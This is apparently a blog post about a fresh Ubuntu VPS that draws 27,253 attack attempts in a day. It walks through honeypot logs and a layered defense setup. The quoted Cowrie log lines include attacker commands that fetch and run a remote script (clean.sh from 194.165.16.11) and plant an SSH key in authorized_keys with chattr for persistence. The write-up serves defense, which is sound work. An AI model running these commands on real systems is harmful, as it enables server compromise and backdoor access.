I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours
Fresh Ubuntu 24.04 on a $14/month Contabo VPS.
No app. No data.
Within hours, logs were full of garbage traffic.
TL;DR
In the first 24 hours on a public IP:
- 27,253 connection attempts
- 99 unique attacking IPs
- 3 malware download attempts
- 1 persistence attempt that would likely compromise a normal box
Defense stack I used:
- Cowrie on port 22 (honeypot, fake shell, full logs)
- Real SSH moved to loopback-only
- Cloudflare Tunnel for real access
- Auto-ban script + fail2ban
- Internal services bound to loopback
- Secrets loaded from 1Password at boot
This setup is reproducible.
What the logs showed
One IP (93.188.83.96) made 20,822 attempts in one day.
Almost every session ran:
echo -e "\x6F\x6B"
That is echo "ok" in hex. Standard credential validator behavior.
Raw snippets from Cowrie logs:
2026-02-21 03:12:11 [cowrie] login attempt root:password [FAKE SHELL]
2026-02-21 03:12:13 [cowrie] command: uname -s -v -n -m
2026-02-21 03:12:14 [cowrie] command: cat /proc/cpuinfo
2026-02-21 03:14:02 [cowrie] download attempt: http://194.165.16.11/clean.sh
2026-02-21 03:14:05 [cowrie] command: chmod +x clean.sh; sh clean.sh
2026-02-21 04:22:31 [cowrie] command: chattr -ia ~/.ssh/authorized_keys
2026-02-21 04:22:32 [cowrie] command: echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
2026-02-21 04:22:33 [cowrie] command: chattr +ai ~/.ssh/authorized_keys
That last sequence is persistence.
On a normal server, it can stick. In Cowrie, it is fake filesystem noise.
What most people get wrong
Most break-ins come from boring mistakes:
- SSH exposed with password auth
- Services bound to
0.0.0.0 - Secrets left in
.envforever - No telemetry, so no visibility into active attacks
You do not need enterprise tooling first.
You need fewer exposed surfaces and better visibility.
Defense stack
Rule: assume each layer fails eventually.
Internet Scanners
↓
Cloudflare (DDoS + Tunnel + Access Auth)
↓
┌─────────────────────────┐
│ UFW Firewall │
│ (default deny all) │
└─────────────────────────┘
↓ ↓
Port 22 Port 2222
(Cowrie) (Real SSH)
Fake shell Loopback only
Full logging Key auth only
↓ ↓
Attack logs Real access
↓
Auto-ban + Telegram alerts
↓
All services on loopback
(zero direct exposure)
↓
Secrets from 1Password
(nothing long-lived on disk)
Layer 1: Cowrie on port 22
Cowrie accepts attacker traffic and logs everything.
sudo apt update && sudo apt install git python3-venv -y
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg
Run it as non-root. Keep logs.
Layer 2: Real SSH off the public interface
Move real SSH to loopback:
sudo nano /etc/ssh/sshd_config
Port 2222
ListenAddress 127.0.0.1
PasswordAuthentication no
PubkeyAuthentication yes
sudo systemctl restart ssh
Now real SSH is not publicly exposed.
Access goes through Cloudflare Tunnel.
Layer 3: Auto-ban heavy sources
Every 15 minutes, parse today’s Cowrie logs and ban noisy IPs:
#!/bin/bash
LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"
TODAY=$(date +%Y-%m-%d)
jq -r --arg date "$TODAY" \
'select(.timestamp | startswith($date)) | .src_ip' "$LOG_FILE" | \
sort | uniq -c | sort -rn | \
while read count ip; do
if [ "$count" -ge 20 ]; then
ufw insert 1 deny from "$ip" to any
# send Telegram alert
fi
done
fail2ban stays enabled for real SSH too.
Layer 4: Internal services on loopback
Example:
127.0.0.1:18789 ← AI gateway
127.0.0.1:8384 ← Syncthing
127.0.0.1:8787 ← Internal tools
No direct public exposure for these services.
Layer 5: Secrets loaded at boot
Secrets are stored in 1Password, then loaded by systemd at startup.
# /etc/systemd/system/load-secrets.service
[Unit]
Before=app.service
After=network-online.target
[Service]
Type=oneshot
ExecStart=/usr/local/bin/load-secrets.sh
# load-secrets.sh
export OP_SERVICE_ACCOUNT_TOKEN=$(cat /root/.op-service-token)
get() { op item get "Server Secrets" --vault MyVault --reveal --fields "label=$1"; }
cat > /root/.env << EOSECRETS
OPENAI_API_KEY=$(get OPENAI_API_KEY)
DB_PASSWORD=$(get DB_PASSWORD)
EOSECRETS
chmod 600 /root/.env
Why this works
Most attackers optimize for speed and volume. They assume:
- SSH on 22
- password auth available
- public services they can scan
This setup breaks those assumptions.
4 attacker types from day 1
| Type | Goal | Risk | Defense |
|---|---|---|---|
| Credential bots (90%) | Find weak passwords | Low | Honeypot |
| Fingerprinters (8%) | Check hardware for mining targets | Medium | Hidden services |
| Persistence attackers (1.5%) | Plant SSH backdoors | High | Fake filesystem |
| Malware loaders (0.5%) | Drop miners/bots | Critical | Isolation |
Notes
This setup took around two days to get right end-to-end.
Main gaps I see on small VPS setups:
- no honeypot
- fail2ban treated as complete protection
- secrets living on disk forever
- no attack telemetry
If you run public VPS infrastructure, this setup is worth implementing.
Public IP means constant scanning.
First 24 hours here: 27,253 attacks, zero breaches.
Top comments (0)